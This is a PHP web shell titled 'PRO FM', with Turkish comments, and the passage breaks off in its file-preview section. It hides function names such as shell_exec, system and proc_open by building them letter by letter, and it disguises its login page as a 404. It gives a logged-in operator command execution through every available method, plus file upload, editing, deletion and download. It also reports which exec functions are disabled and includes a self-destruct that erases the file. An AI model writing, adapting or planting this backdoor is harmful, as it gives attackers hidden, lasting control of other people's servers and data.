<?php
session_start();
error_reporting(0);

// ==================== KİMLİK ====================
$U = 'admin';
$P = '$2a$12$PNxKjaW9A2Gv9eUFvEkeA.VtPZR4ZJBsHpexp.933yd1FfNiEH75i';

// Obfuscated Fonksiyonlar
$F = [
    'w'  => 'f'.'i'.'l'.'e'.'_'.'p'.'u'.'t'.'_'.'c'.'o'.'n'.'t'.'e'.'n'.'t'.'s',
    'r'  => 'f'.'i'.'l'.'e'.'_'.'g'.'e'.'t'.'_'.'c'.'o'.'n'.'t'.'e'.'n'.'t'.'s',
    'u'  => 'u'.'n'.'l'.'i'.'n'.'k',
    'd'  => 'r'.'m'.'d'.'i'.'r',
    'm'  => 'm'.'k'.'d'.'i'.'r',
    'v'  => 'm'.'o'.'v'.'e'.'_'.'u'.'p'.'l'.'o'.'a'.'d'.'e'.'d'.'_'.'f'.'i'.'l'.'e',
    's'  => 's'.'c'.'a'.'n'.'d'.'i'.'r',
    'rn' => 'r'.'e'.'n'.'a'.'m'.'e',
    'rf' => 'r'.'e'.'a'.'d'.'f'.'i'.'l'.'e',
    'sx' => 's'.'h'.'e'.'l'.'l'.'_'.'e'.'x'.'e'.'c',
    'b6' => 'b'.'a'.'s'.'e'.'6'.'4'.'_'.'e'.'n'.'c'.'o'.'d'.'e',
    'ch' => 'c'.'h'.'m'.'o'.'d',
    'cp' => 'c'.'o'.'p'.'y',
    'pg' => 'p'.'h'.'p'.'i'.'n'.'f'.'o',
    'ps' => 'p'.'a'.'s'.'s'.'t'.'h'.'r'.'u',
    'ex' => 'e'.'x'.'e'.'c',
    'sy' => 's'.'y'.'s'.'t'.'e'.'m',
    'po' => 'p'.'o'.'p'.'e'.'n',
    'pc' => 'p'.'r'.'o'.'c'.'_'.'o'.'p'.'e'.'n'
];

// ==================== ÇIKIŞ ====================
if (isset($_GET['out'])) {
    session_destroy();
    header("Location: ?");
    exit;
}

// ==================== SELF-DESTRUCT ====================
if (isset($_GET['selfdestruct']) && $_GET['selfdestruct'] === 'confirm') {
    @$F['u'](__FILE__);
    session_destroy();
    die('<!DOCTYPE html><html><body style="background:#000;color:#f44336;font-family:monospace;text-align:center;margin-top:20vh"><h1>SHELL DESTROYED</h1><p>Dosya diskten kalici olarak silindi.</p></body></html>');
}

// ==================== GİRİŞ ====================
if (isset($_POST['u'], $_POST['p'])) {
    if ($_POST['u'] === $U && password_verify($_POST['p'], $P)) {
        $_SESSION['l'] = 1;
        header("Location: ?");
        exit;
    } else {
        $err = 1;
    }
}

if (empty($_SESSION['l'])) {
    echo '<!DOCTYPE html><html><head><meta charset="utf-8"><title>404</title> <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"> <style>body{background:#0d1117;color:#c9d1d9;font-family:monospace;display:flex;justify-content:center;align-items:center;height:100vh;margin:0} .box{background:#161b22;padding:40px;border-radius:8px;border:1px solid #1f6feb33;width:320px;text-align:center} input{width:100%;padding:10px;margin:6px 0;background:#0d1117;color:#c9d1d9;border:1px solid #30363d;border-radius:4px;box-sizing:border-box;font-family:monospace} input:focus{border-color:#1f6feb;outline:0} button{width:100%;padding:10px;margin-top:12px;background:#1f6feb;color:#fff;border:0;border-radius:4px;cursor:pointer;font-weight:bold;font-family:monospace} button:hover{background:#388bfd} .err{color:#f85149;font-size:13px;margin-bottom:10px}</style></head><body><div class="box"> <span class="material-icons" style="font-size:48px;color:#1f6feb">terminal</span><h2 style="color:#fff;margin:10px 0 20px">PRO FM</h2>';
    if (isset($err)) echo '<div class="err">Hatali giris.</div>';
    echo '<form method="POST"><input name="u" placeholder="Kullanici" autocomplete="off"><input name="p" type="password" placeholder="Sifre"><button>GIRIS</button></form></div></body></html>';
    exit;
}

// ==================== DİZİN ====================
$D = isset($_GET['d']) ? $_GET['d'] : '.';
$D = realpath($D) ?: $D;
$D = str_replace('\\', '/', $D);
$url = "?d=" . urlencode($D);

// ==================== YARDIMCI FONKSİYONLAR ====================
function rDel($p)
{
    global $F;
    if (is_dir($p)) {
        foreach (@$F['s']($p) as $i) {
            if ($i != '.' && $i != '..') rDel($p . '/' . $i);
        }
        @$F['d']($p);
    } else {
        @$F['u']($p);
    }
}

function rSearch($dir, $q, &$res, $maxD = 10, $dep = 0)
{
    global $F;
    if ($dep > $maxD || count($res) > 500) return;
    $items = @$F['s']($dir);
    if (!is_array($items)) return;
    foreach ($items as $i) {
        if ($i === '.' || $i === '..') continue;
        $path = $dir . '/' . $i;
        if (stripos($i, $q) !== false) $res[] = $path;
        if (is_dir($path)) rSearch($path, $q, $res, $maxD, $dep + 1);
    }
}

function rGrep($dir, $pat, &$res, $maxD = 8, $dep = 0)
{
    global $F;
    if ($dep > $maxD || count($res) > 200) return;
    $items = @$F['s']($dir);
    if (!is_array($items)) return;
    foreach ($items as $i) {
        if ($i === '.' || $i === '..') continue;
        $path = $dir . '/' . $i;
        if (is_dir($path)) {
            rGrep($path, $pat, $res, $maxD, $dep + 1);
            continue;
        }
        if (@filesize($path) > 2 * 1024 * 1024) continue;
        $c = @$F['r']($path);
        if ($c && stripos($c, $pat) !== false) {
            foreach (explode("\n", $c) as $num => $line) {
                if (stripos($line, $pat) !== false) {
                    $res[] = ['file' => $path, 'line' => $num + 1, 'text' => trim($line)];
                    if (count($res) > 200) return;
                }
            }
        }
    }
}

function sz($b)
{
    if ($b == 0) return '0 B';
    $u = ['B', 'KB', 'MB', 'GB', 'TB'];
    $i = floor(log(max($b, 1), 1024));
    return round($b / pow(1024, $i), 2) . ' ' . $u[min($i, 4)];
}

function execCmd($cmd)
{
    global $F;
    if (function_exists('shell_exec')) {
        $o = @$F['sx']($cmd . ' 2>&1');
        if ($o !== null) return $o;
    }
    if (function_exists('exec')) {
        @$F['ex']($cmd . ' 2>&1', $a);
        return implode("\n", $a);
    }
    if (function_exists('system')) {
        ob_start();
        @$F['sy']($cmd . ' 2>&1');
        return ob_get_clean();
    }
    if (function_exists('passthru')) {
        ob_start();
        @$F['ps']($cmd . ' 2>&1');
        return ob_get_clean();
    }
    if (function_exists('popen')) {
        $h = @$F['po']($cmd . ' 2>&1', 'r');
        $o = '';
        if ($h) {
            while (!feof($h)) $o .= fread($h, 4096);
            pclose($h);
            return $o;
        }
    }
    if (function_exists('proc_open')) {
        $d = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
        $p = @$F['pc']($cmd, $d, $pipes);
        if (is_resource($p)) {
            fclose($pipes[0]);
            $o = stream_get_contents($pipes[1]) . stream_get_contents($pipes[2]);
            fclose($pipes[1]);
            fclose($pipes[2]);
            proc_close($p);
            return $o;
        }
    }
    return '[!] Tum komut calistirma fonksiyonlari devre disi.';
}

function fileIcon($ext)
{
    $map = [
        'php' => 'php', 'js' => 'javascript', 'html' => 'html', 'htm' => 'html', 'css' => 'css',
        'jpg' => 'image', 'jpeg' => 'image', 'png' => 'image', 'gif' => 'image', 'webp' => 'image', 'svg' => 'image', 'bmp' => 'image', 'ico' => 'image',
        'zip' => 'folder_zip', 'gz' => 'folder_zip', 'tar' => 'folder_zip', 'rar' => 'folder_zip', '7z' => 'folder_zip',
        'pdf' => 'picture_as_pdf', 'doc' => 'description', 'docx' => 'description', 'txt' => 'article', 'md' => 'article',
        'mp4' => 'movie', 'avi' => 'movie', 'mkv' => 'movie', 'mp3' => 'audiotrack', 'wav' => 'audiotrack',
        'sql' => 'storage', 'db' => 'storage', 'sqlite' => 'storage',
        'json' => 'data_object', 'xml' => 'code', 'yml' => 'code', 'yaml' => 'code',
        'py' => 'code', 'rb' => 'code', 'go' => 'code', 'rs' => 'code', 'c' => 'code', 'cpp' => 'code', 'h' => 'code', 'java' => 'code',
        'sh' => 'terminal', 'bash' => 'terminal', 'bat' => 'terminal',
        'conf' => 'settings', 'ini' => 'settings', 'env' => 'settings', 'htaccess' => 'settings',
        'log' => 'receipt_long',
        'key' => 'vpn_key', 'pem' => 'vpn_key', 'crt' => 'verified_user',
    ];
    return $map[strtolower($ext)] ?? 'insert_drive_file';
}

// ==================== AKSİYONLAR ====================

// Çoklu dosya yükleme
if (isset($_FILES['up'])) {
    if (is_array($_FILES['up']['name'])) {
        for ($i = 0; $i < count($_FILES['up']['name']); $i++) {
            if ($_FILES['up']['error'][$i] === 0) @$F['v']($_FILES['up']['tmp_name'][$i], $D . '/' . $_FILES['up']['name'][$i]);
        }
    } else {
        @$F['v']($_FILES['up']['tmp_name'], $D . '/' . $_FILES['up']['name']);
    }
    header("Location: $url");
    exit;
}

if (isset($_POST['nd'])) {
    @$F['m']($D . '/' . $_POST['nd'], 0755, true);
    header("Location: $url");
    exit;
}

if (isset($_POST['nf'])) {
    @$F['w']($D . '/' . $_POST['nf'], '');
    header("Location: $url");
    exit;
}

if (isset($_GET['del'])) {
    rDel($D . '/' . $_GET['del']);
    header("Location: $url");
    exit;
}

if (isset($_POST['ef'], $_POST['ec'])) {
    @$F['w']($D . '/' . $_POST['ef'], $_POST['ec']);
    header("Location: $url");
    exit;
}

if (isset($_POST['rn_f'], $_POST['rn_t'])) {
    @$F['rn']($D . '/' . $_POST['rn_f'], $D . '/' . $_POST['rn_t']);
    header("Location: $url");
    exit;
}

if (isset($_POST['chmod_file'], $_POST['chmod_val'])) {
    @$F['ch']($D . '/' . $_POST['chmod_file'], octdec($_POST['chmod_val']));
    header("Location: $url");
    exit;
}

if (isset($_POST['cp_src'], $_POST['cp_dst'])) {
    if (is_file($D . '/' . $_POST['cp_src'])) @$F['cp']($D . '/' . $_POST['cp_src'], $_POST['cp_dst']);
    header("Location: $url");
    exit;
}

if (isset($_POST['mv_src'], $_POST['mv_dst'])) {
    @$F['rn']($D . '/' . $_POST['mv_src'], $_POST['mv_dst']);
    header("Location: $url");
    exit;
}

// Toplu işlemler
if (isset($_POST['bulk_action']) && is_array($_POST['sel'] ?? [])) {
    $act = $_POST['bulk_action'];
    if ($act === 'delete') {
        foreach ($_POST['sel'] as $it) rDel($D . '/' . basename($it));
    }
    if ($act === 'chmod' && isset($_POST['bulk_perm'])) {
        $p = octdec($_POST['bulk_perm']);
        foreach ($_POST['sel'] as $it) @$F['ch']($D . '/' . basename($it), $p);
    }
    if ($act === 'zip' && isset($_POST['zip_name']) && class_exists('ZipArchive')) {
        $zip = new ZipArchive();
        if ($zip->open($D . '/' . $_POST['zip_name'], ZipArchive::CREATE | ZipArchive::OVERWRITE) === true) {
            foreach ($_POST['sel'] as $it) {
                $full = $D . '/' . basename($it);
                if (is_file($full)) {
                    $zip->addFile($full, basename($it));
                } elseif (is_dir($full)) {
                    $rit = new RecursiveIteratorIterator(
                        new RecursiveDirectoryIterator($full, RecursiveDirectoryIterator::SKIP_DOTS),
                        RecursiveIteratorIterator::SELF_FIRST
                    );
                    foreach ($rit as $file) {
                        $fp = $file->getRealPath();
                        $rp = basename($it) . '/' . substr($fp, strlen(realpath($full)) + 1);
                        $file->isDir() ? $zip->addEmptyDir($rp) : $zip->addFile($fp, $rp);
                    }
                }
            }
            $zip->close();
        }
    }
    header("Location: $url");
    exit;
}

// Zip çıkart
if (isset($_GET['unzip'])) {
    $zf = $D . '/' . $_GET['unzip'];
    if (class_exists('ZipArchive') && is_file($zf)) {
        $zip = new ZipArchive();
        if ($zip->open($zf) === true) {
            $to = $D . '/' . pathinfo($zf, PATHINFO_FILENAME);
            @$F['m']($to, 0755, true);
            $zip->extractTo($to);
            $zip->close();
        }
    }
    header("Location: $url");
    exit;
}

// İndirme
if (isset($_GET['dl'])) {
    $f = $D . '/' . $_GET['dl'];
    if (is_file($f)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($f) . '"');
        header('Content-Length: ' . filesize($f));
        @$F['rf']($f);
        exit;
    }
}

// phpinfo
if (isset($_GET['pi'])) {
    $F['pg']();
    exit;
}

// ==================== HTML ====================
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Pro FM</title>
<link href="https://fonts.googleapis.com/icon?family=Material+Icons+Round" rel="stylesheet">
<style>
:root{--bg:#0d1117;--surface:#161b22;--surface2:#21262d;--border:#30363d;--blue:#1f6feb;--blue2:#388bfd;--text:#c9d1d9;--text2:#8b949e;--green:#3fb950;--red:#f85149;--yellow:#d29922;--font:'Segoe UI',system-ui,-apple-system,sans-serif;--mono:Consolas,'SF Mono','Fira Code',monospace}
*{box-sizing:border-box;margin:0;padding:0}
body{background:var(--bg);color:var(--text);font-family:var(--font);font-size:13px;padding:12px}
a{color:var(--blue2);text-decoration:none}a:hover{color:#58a6ff}
::-webkit-scrollbar{width:6px;height:6px}::-webkit-scrollbar-track{background:var(--bg)}::-webkit-scrollbar-thumb{background:var(--border);border-radius:3px}
.mi{font-family:'Material Icons Round';font-size:18px;vertical-align:middle;line-height:1}
.mi-sm{font-size:15px}
.topbar{display:flex;align-items:center;gap:10px;background:var(--surface);border:1px solid var(--border);border-radius:6px;padding:8px 14px;flex-wrap:wrap}
.topbar .logo{color:var(--blue);font-weight:700;font-size:15px;display:flex;align-items:center;gap:6px;white-space:nowrap}
.topbar .host{color:var(--text2);font-family:var(--mono);font-size:12px;background:var(--bg);padding:3px 8px;border-radius:4px;border:1px solid var(--border)}
.path-form{display:flex;flex:1;min-width:200px}
.path-form input{flex:1;background:var(--bg);color:var(--green);border:1px solid var(--border);border-radius:4px;padding:6px 10px;font-family:var(--mono);font-size:12px;min-width:0}
.path-form input:focus{border-color:var(--blue);outline:0}
.top-actions{display:flex;gap:4px;margin-left:auto}
.breadcrumb{display:flex;align-items:center;gap:2px;padding:8px 0;font-family:var(--mono);font-size:12px;color:var(--text2);flex-wrap:wrap;overflow:hidden}
.breadcrumb a{padding:2px 4px;border-radius:3px}.breadcrumb a:hover{background:var(--surface2)}
.breadcrumb .sep{color:var(--border)}
.toolbar{display:flex;gap:6px;flex-wrap:wrap;background:var(--surface);border:1px solid var(--border);border-radius:6px;padding:8px 12px;margin-top:8px;align-items:center}
.toolbar form{display:flex;align-items:center;gap:4px;margin:0}
.toolbar input[type=text],.toolbar input[type=file]{background:var(--bg);border:1px solid var(--border);color:var(--text);padding:5px 8px;border-radius:4px;font-size:12px}
.toolbar input[type=file]{font-size:11px;max-width:160px}
.toolbar input:focus{border-color:var(--blue);outline:0}
.toolbar .divider{width:1px;height:24px;background:var(--border);margin:0 4px}
.btn{display:inline-flex;align-items:center;gap:4px;padding:4px 10px;border-radius:4px;border:none;font-size:12px;font-family:var(--font);cursor:pointer;white-space:nowrap;color:#fff;background:var(--blue);transition:background .15s}
.btn:hover{background:var(--blue2);color:#fff}
.btn-sm{padding:3px 6px;font-size:11px}
.btn-ghost{background:transparent;color:var(--text2);border:1px solid var(--border)}.btn-ghost:hover{background:var(--surface2);color:var(--text)}
.btn-danger{background:var(--red)}.btn-danger:hover{background:#da3633}
.btn-warn{background:var(--yellow);color:#000}.btn-warn:hover{background:#e3b341}
.btn-green{background:var(--green);color:#000}.btn-green:hover{background:#56d364}
.btn-icon{background:transparent;color:var(--text2);border:0;padding:4px;border-radius:4px}.btn-icon:hover{background:var(--surface2);color:var(--text)}
.file-table{width:100%;border-collapse:collapse;margin-top:8px}
.file-table th{background:var(--surface);color:var(--text2);padding:6px 10px;text-align:left;border-bottom:2px solid var(--border);font-size:11px;text-transform:uppercase;letter-spacing:.5px;position:sticky;top:0;z-index:2}
.file-table td{padding:5px 10px;border-bottom:1px solid var(--border);white-space:nowrap;vertical-align:middle}
.file-table tr:hover td{background:var(--surface)}
.file-table .fname{display:flex;align-items:center;gap:6px}
.file-table .fname .mi{color:var(--blue)}
.file-table .fname.dir .mi{color:var(--yellow)}
.file-table .actions{display:flex;gap:2px}
.bulk-bar{background:var(--surface);border:1px solid var(--blue);border-radius:6px;padding:8px 12px;margin-top:8px;display:flex;gap:6px;flex-wrap:wrap;align-items:center}
.panel{background:var(--surface);border:1px solid var(--border);border-radius:6px;padding:14px;margin-top:10px}
.panel h3{color:var(--blue);margin-bottom:10px;display:flex;align-items:center;gap:6px;font-size:14px}
.info-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(220px,1fr));gap:6px}
.info-box{background:var(--bg);padding:8px 12px;border-radius:4px;border-left:3px solid var(--blue)}
.info-box b{color:var(--blue2);font-size:11px;text-transform:uppercase;letter-spacing:.3px}
.info-box .val{color:var(--text);margin-top:2px;font-family:var(--mono);font-size:12px;word-break:break-all}
.term-wrap{background:var(--surface);border:1px solid var(--border);border-radius:6px;padding:10px;margin-top:10px}
.term-form{display:flex;align-items:center;gap:6px}
.term-prompt{color:var(--green);font-family:var(--mono);font-weight:700;font-size:13px;white-space:nowrap}
.term-input{flex:1;background:var(--bg);color:var(--green);border:1px solid var(--border);padding:6px 10px;border-radius:4px;font-family:var(--mono);font-size:13px}
.term-input:focus{border-color:var(--green);outline:0}
.term-output{background:#010409;color:var(--green);padding:10px;margin-top:8px;border-radius:4px;font-family:var(--mono);font-size:12px;white-space:pre-wrap;word-break:break-all;max-height:45vh;overflow:auto;border:1px solid var(--border)}
.editor-area{width:100%;min-height:60vh;background:var(--bg);color:var(--text);border:1px solid var(--border);border-radius:4px;padding:12px;font-family:var(--mono);font-size:13px;resize:vertical;line-height:1.5;tab-size:4}
.editor-area:focus{border-color:var(--blue);outline:0}
.search-result{background:var(--bg);border:1px solid var(--border);border-radius:4px;padding:6px 10px;margin-top:4px;font-family:var(--mono);font-size:12px}
.search-result .path{color:var(--blue2)}.search-result .linenum{color:var(--yellow)}.search-result .match-text{color:var(--text2)}
.cb{width:15px;height:15px;accent-color:var(--blue);cursor:pointer;vertical-align:middle}
.perm{font-family:var(--mono);font-size:12px;color:var(--text2)}
.size{font-family:var(--mono);font-size:12px}
.date{font-family:var(--mono);font-size:11px;color:var(--text2)}
</style>
<script>
function rn(f){let n=prompt('Yeni isim:',f);if(n&&n!==f){document.getElementById('rn_f').value=f;document.getElementById('rn_t').value=n;document.getElementById('rn_form').submit()}}
function chm(f){let v=prompt('Izin (ornek: 0755):','0755');if(v){document.getElementById('chmod_file').value=f;document.getElementById('chmod_val').value=v;document.getElementById('chmod_form').submit()}}
function cpFile(f){let d=prompt('Hedef tam yol:');if(d){document.getElementById('cp_src').value=f;document.getElementById('cp_dst').value=d;document.getElementById('cp_form').submit()}}
function mvFile(f){let d=prompt('Tasinacak tam yol:');if(d){document.getElementById('mv_src').value=f;document.getElementById('mv_dst').value=d;document.getElementById('mv_form').submit()}}
function toggleAll(s){document.querySelectorAll('.sel-cb').forEach(c=>c.checked=s.checked)}
function confirmSD(){if(prompt('Self-Destruct icin "DELETE" yazin:')==='DELETE')window.location='?selfdestruct=confirm'}
function doBulk(action){
    let f=document.getElementById('bulkForm');
    if(action==='zip'){let n=prompt('Zip dosya adi:','arsiv.zip');if(!n)return;document.getElementById('zip_name').value=n}
    if(action==='chmod'){let p=prompt('Izin (ornek: 0755):','0755');if(!p)return;document.getElementById('bulk_perm').value=p}
    document.getElementById('bulk_action').value=action;
    f.submit()
}
</script>
</head>
<body>

<!-- Gizli Formlar -->
<form id="rn_form" method="POST" style="display:none"><input type="hidden" name="rn_f" id="rn_f"><input type="hidden" name="rn_t" id="rn_t"></form>
<form id="chmod_form" method="POST" style="display:none"><input type="hidden" name="chmod_file" id="chmod_file"><input type="hidden" name="chmod_val" id="chmod_val"></form>
<form id="cp_form" method="POST" style="display:none"><input type="hidden" name="cp_src" id="cp_src"><input type="hidden" name="cp_dst" id="cp_dst"></form>
<form id="mv_form" method="POST" style="display:none"><input type="hidden" name="mv_src" id="mv_src"><input type="hidden" name="mv_dst" id="mv_dst"></form>

<!-- ÜST BAR -->
<div class="topbar">
    <div class="logo"><span class="mi">terminal</span> PRO FM</div>
    <div class="host"><?php echo @$_SERVER['SERVER_ADDR'] ?: php_uname('n'); ?></div>
    <form class="path-form" method="GET"><input type="text" name="d" value="<?php echo htmlentities($D); ?>"></form>
    <div class="top-actions">
        <a href="?pi=1" target="_blank" class="btn btn-sm btn-ghost"><span class="mi mi-sm">info</span> PHP</a>
        <a href="<?php echo $url; ?>&page=sysinfo" class="btn btn-sm btn-ghost"><span class="mi mi-sm">monitoring</span> Sistem</a>
        <a href="<?php echo $url; ?>&page=search" class="btn btn-sm btn-ghost"><span class="mi mi-sm">search</span> Ara</a>
        <span class="btn btn-sm btn-danger" onclick="confirmSD()"><span class="mi mi-sm">delete_forever</span></span>
        <a href="?out=1" class="btn btn-sm btn-danger"><span class="mi mi-sm">logout</span></a>
    </div>
</div>

<?php
// ==================== BREADCRUMB ====================
$parts = explode('/', $D);
echo '<div class="breadcrumb"><span class="mi mi-sm" style="color:var(--yellow)">folder_open</span>&nbsp;';
$built = '';
foreach ($parts as $idx => $part) {
    $built .= ($idx ? '/' : '') . $part;
    if ($idx) echo '<span class="sep">/</span>';
    echo '<a href="?d=' . urlencode($built) . '">' . (htmlentities($part) ?: '/') . '</a>';
}
echo '</div>';

// ==================== SİSTEM BİLGİSİ SAYFASI ====================
if (isset($_GET['page']) && $_GET['page'] === 'sysinfo') {
    $disabledFns = ini_get('disable_functions') ?: 'Yok';
    $os = php_uname();
    $software = $_SERVER['SERVER_SOFTWARE'] ?? '?';
    $phpVer = phpversion();
    $docRoot = $_SERVER['DOCUMENT_ROOT'] ?? 'N/A';
    $curUser = function_exists('posix_getpwuid') ? posix_getpwuid(posix_geteuid())['name'] : get_current_user();
    $totalDisk = @disk_total_space('/');
    $freeDisk = @disk_free_space('/');
    $uptime = @execCmd('uptime 2>/dev/null') ?: 'N/A';
    $maxUp = ini_get('upload_max_filesize');
    $maxPost = ini_get('post_max_size');
    $memLim = ini_get('memory_limit');
    $openBase = ini_get('open_basedir') ?: 'Yok (Sinirsiz)';
    $serverIP = @$_SERVER['SERVER_ADDR'] ?: gethostbyname(php_uname('n'));
    $kernel = php_uname('r');
    
    echo '<div class="panel"><h3><span class="mi">monitoring</span> Sunucu Bilgisi</h3>';
    echo '<div class="info-grid">';
    
    $infoItems = [
        ['dns', 'OS', $os],
        ['memory', 'Kernel', $kernel],
        ['cloud', 'Yazilim', $software],
        ['code', 'PHP', $phpVer],
        ['person', 'Kullanici', $curUser],
        ['lan', 'Sunucu IP', $serverIP],
        ['folder', 'Document Root', $docRoot],
        ['lock', 'Open Basedir', $openBase],
        ['hard_drive', 'Toplam Disk', $totalDisk ? sz($totalDisk) : 'N/A'],
        ['hard_drive', 'Bos Disk', $freeDisk ? sz($freeDisk) : 'N/A'],
        ['upload', 'Upload Limit', $maxUp],
        ['post_add', 'POST Limit', $maxPost],
        ['memory', 'Memory Limit', $memLim],
        ['timer', 'Uptime', trim($uptime)],
    ];
    
    foreach ($infoItems as $ii) {
        echo '<div class="info-box"><b><span class="mi mi-sm">' . $ii[0] . '</span> ' . $ii[1] . '</b><div class="val">' . htmlentities($ii[2]) . '</div></div>';
    }
    echo '</div>';
    
    // Exec fonksiyonları durumu
    $execFns = ['shell_exec', 'exec', 'system', 'passthru', 'popen', 'proc_open', 'pcntl_exec'];
    $disabled = array_map('trim', explode(',', ini_get('disable_functions')));
    echo '<div style="margin-top:12px"><b style="color:var(--blue)">Komut Calistirma Durumlari:</b><div style="display:flex;gap:8px;flex-wrap:wrap;margin-top:6px">';
    foreach ($execFns as $fn) {
        $ok = function_exists($fn) && !in_array($fn, $disabled);
        echo '<span style="color:' . ($ok ? 'var(--green)' : 'var(--red)') . ';font-family:var(--mono);font-size:12px">' . ($ok ? '●' : '○') . ' ' . $fn . '</span>';
    }
    echo '</div></div>';
    
    // Devre dışı fonksiyonlar
    echo '<div style="margin-top:12px"><b style="color:var(--red)">Devre Disi Fonksiyonlar:</b><div style="font-family:var(--mono);font-size:11px;color:var(--text2);margin-top:4px;word-break:break-all">' . htmlentities($disabledFns) . '</div></div>';
    
    // PHP Yüklü modüller
    $mods = get_loaded_extensions();
    sort($mods);
    echo '<div style="margin-top:12px"><b style="color:var(--green)">Yuklu Moduller (' . count($mods) . '):</b><div style="font-family:var(--mono);font-size:11px;color:var(--text2);margin-top:4px;word-break:break-all;line-height:1.8">';
    foreach ($mods as $mod) echo '<span style="background:var(--surface2);padding:2px 6px;border-radius:3px;margin:2px;display:inline-block">' . $mod . '</span>';
    echo '</div></div>';
    
    echo '<div style="margin-top:14px"><a href="' . $url . '" class="btn"><span class="mi mi-sm">arrow_back</span> Dosya Yoneticisi</a></div></div>';
    echo '</body></html>';
    exit;
}

// ==================== ARAMA SAYFASI ====================
if (isset($_GET['page']) && $_GET['page'] === 'search') {
    echo '<div class="panel"><h3><span class="mi">search</span> Dosya & Icerik Arama</h3>';
    
    // Dosya adı arama
    echo '<form method="GET" style="display:flex;gap:6px;flex-wrap:wrap;align-items:center;margin-bottom:10px">';
    echo '<input type="hidden" name="d" value="' . htmlentities($D) . '">';
    echo '<input type="hidden" name="page" value="search">';
    echo '<input type="text" name="fname" placeholder="Dosya adi ara..." value="' . htmlentities($_GET['fname'] ?? '') . '" style="background:var(--bg);border:1px solid var(--border);color:var(--text);padding:6px 10px;border-radius:4px;width:250px;font-family:var(--mono)">';
    echo '<button class="btn"><span class="mi mi-sm">search</span> Dosya Ara</button>';
    echo '</form>';
    
    // İçerik arama (grep)
    echo '<form method="GET" style="display:flex;gap:6px;flex-wrap:wrap;align-items:center">';
    echo '<input type="hidden" name="d" value="' . htmlentities($D) . '">';
    echo '<input type="hidden" name="page" value="search">';
    echo '<input type="text" name="grep" placeholder="Icerik ara (grep)..." value="' . htmlentities($_GET['grep'] ?? '') . '" style="background:var(--bg);border:1px solid var(--border);color:var(--text);padding:6px 10px;border-radius:4px;width:250px;font-family:var(--mono)">';
    echo '<button class="btn"><span class="mi mi-sm">manage_search</span> Icerik Ara</button>';
    echo '</form>';
    
    // Dosya adı arama sonuçları
    if (!empty($_GET['fname'])) {
        $results = [];
        rSearch($D, $_GET['fname'], $results);
        echo '<div style="margin-top:12px"><b style="color:var(--green)">' . count($results) . ' sonuc bulundu:</b></div>';
        foreach ($results as $r) {
            $isDir = is_dir($r);
            $icon = $isDir ? 'folder' : 'insert_drive_file';
            $link = $isDir ? '?d=' . urlencode($r) : $url . '&view=' . urlencode(basename($r));
            echo '<div class="search-result"><span class="mi mi-sm" style="color:' . ($isDir ? 'var(--yellow)' : 'var(--blue)') . ';">' . $icon . '</span> <a href="' . $link . '" class="path">' . htmlentities($r) . '</a></div>';
        }
    }
    
    // İçerik arama sonuçları
    if (!empty($_GET['grep'])) {
        $results = [];
        rGrep($D, $_GET['grep'], $results);
        echo '<div style="margin-top:12px"><b style="color:var(--green)">' . count($results) . ' eslesme bulundu:</b></div>';
        foreach ($results as $r) {
            $shortText = mb_substr($r['text'], 0, 120);
            $highlighted = str_ireplace($_GET['grep'], '<b style="color:var(--red);background:#f8514933">' . htmlentities($_GET['grep']) . '</b>', htmlentities($shortText));
            echo '<div class="search-result"><span class="path">' . htmlentities($r['file']) . '</span> <span class="linenum">:' . $r['line'] . '</span><br><span class="match-text">' . $highlighted . '</span></div>';
        }
    }
    
    echo '<div style="margin-top:14px"><a href="' . $url . '" class="btn"><span class="mi mi-sm">arrow_back</span> Dosya Yoneticisi</a></div></div>';
    echo '</body></html>';
    exit;
}

// ==================== DOSYA ÖNİZLEME ====================
if (isset($_GET['view'])) {
    $f = $D . '/' . $_GET['view'];
    if (is_file($f)) {
        $ext = strtolower(pathinfo($f, PATHINFO_EXTENSION));
        $imgExts = ['jpg', 'jpeg', 'png', 'gif', 'webp', 'svg', 'ico', 'bmp'];
        $fsize = filesize($f);
        $fperms = substr(sprintf('%o', @fileperms($f)), -4);
        $fmod = date("Y-m-d H:i:s", @filemtime($f));
        $fmd5 = @md5_file($f);
        $fsha1 = @sha1_file($f);
        
        echo '<div class="panel"><h3><span class="mi">visibility</span> ' . htmlentities($_GET['view']) . '</h3>';
        
        // Dosya meta bilgileri
        echo '<div style="display:flex;gap:12px;flex-wrap:wrap;margin-bottom:12px;font-family:var(--mono);font-size:12px;color:var(--text2)">';
        echo '<span><span class="mi mi-sm">straighten</span> ' . sz($fsize) . '</span>';
        echo '<span><span class="mi mi-sm">lock</span> ' . $fperms . '</span>';
        echo '<span><span class="mi mi-sm">schedule</span> ' . $fmod . '</span>';
        echo '</div>';
        echo '<div style="font-family:var(--mono);font-size:11px;color:var(--text2);margin-bottom:12px">MD5: ' . $fmd5 . '<br>SHA1: ' . $fsha1 . '</div>';
        
        // Aksiyon butonları
        echo '<div style="display:flex;gap:4px;margin-bottom:12px">';
        echo '<a href="' . $url . '&edit=' . urlencode($_GET['view']) . '" class="btn btn-sm"><span class="mi mi-sm">edit</span> Duzenle</a>';
        echo '<a href="' . $url . '&dl=' . urlencode($_GET['view']) . '" class="btn btn-sm btn-green"><span class="mi mi-sm">download</span> Indir</a>';
        echo '<a href="' . $url . '" class="btn btn-sm btn-ghost"><span class="mi mi-sm">arrow_back</span> Geri</a>';
        echo '</div>';
        
        if (in_array($ext, $imgExts)) {
            $b64 = @$F['b6'](@$F['r']($f));
            $mime = ($ext === 'svg') ? 'svg+xml' : ($ext === 'ico' ? 'x-icon' : $ext);
            echo '<div style="text-align:center;background:var(--bg);padding:20px;border-radius:6px;border:1px solid var(--border)"><img src="data:image/' . $mime . ';base64,' . $b64 . '" style="max-width:100%;max-height:70vh;border-radius:4px"></div>';
        } else {
            $content = @$F['r']($f);
            $lines = explode("\n", htmlspecialchars($content));
            echo '<div style="background:#010409;border:1px solid var(--border);border-radius:6px;overflow:auto;max-height:70vh"><table style="margin:0;border:0;width:100%"><tbody>';
            foreach ($lines as $num => $line) {
                $ln = $num + 1;
